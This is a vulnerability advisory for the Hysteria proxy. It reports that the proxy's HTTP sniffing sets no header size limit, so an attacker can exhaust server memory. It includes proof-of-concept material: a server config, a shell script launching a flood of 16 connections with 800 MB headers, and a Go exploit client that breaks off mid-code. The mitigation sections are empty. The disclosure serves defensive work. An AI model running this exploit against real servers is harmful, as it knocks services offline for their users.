Hysteria: http large header with sniff cause server DoS
Date: 2026-06
Affected: go/github.com/apernet/hysteria
Attack vector: dos
Category: vulnerability-disclosure
Severity: High
CWE: CWE-770
CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

### Summary Sending an excessively large header by an attacker could lead to a server-side DoS attack. ### Details The current sniff implementation does not explicitly specify the upper limit for HTTP headers. Attackers can continuously send excessively large headers without including \r\n\r\n, leading to ServerDoS and OutOfMemory errors. ### PoC server.yaml ``` listen: 127.0.0.1:8443 tls: cert: poc_server.crt key: poc_server.key auth: type: password password: sniff-poc-password sniff: enable: true timeout: 10s rewriteDomain: false tcpPorts: 80 masquerade: type: string string: content: nope statusCode: 404 ``` poc.sh ``` #!/bin/bash go build poc_sniff_http_dos.go ./poc_sniff_http_dos \ --server 127.0.0.1:8443 \ --auth sniff-poc-password \ --insecure \ --target-host 192.0.2.1 \ --target-port 80 \ --connections 16 \ --header-bytes 838860800 \ --linger 12 ``` poc.go ``` //go:build poc package main import ( "crypto/sha256" "crypto/x509" "encoding/hex" "errors" "flag" "fmt" "net" "strings" "sync" "time" coreclient "github.com/apernet/hysteria/core/v2/client" "github.com/apernet/hysteria/extras/v2/obfs" ) type attackConnFactory struct { obfuscator obfs.Obfuscator } func (f *attackConnFactory) New(_ net.Addr) (net.PacketConn, error) { conn, err := net.ListenUDP("udp", nil) if err != nil { return nil, err } if f.obfuscator == nil { return conn, nil } return obfs.WrapPacketConn(conn, f.ob


Mitigations:

Architectural layers (MAESTRO):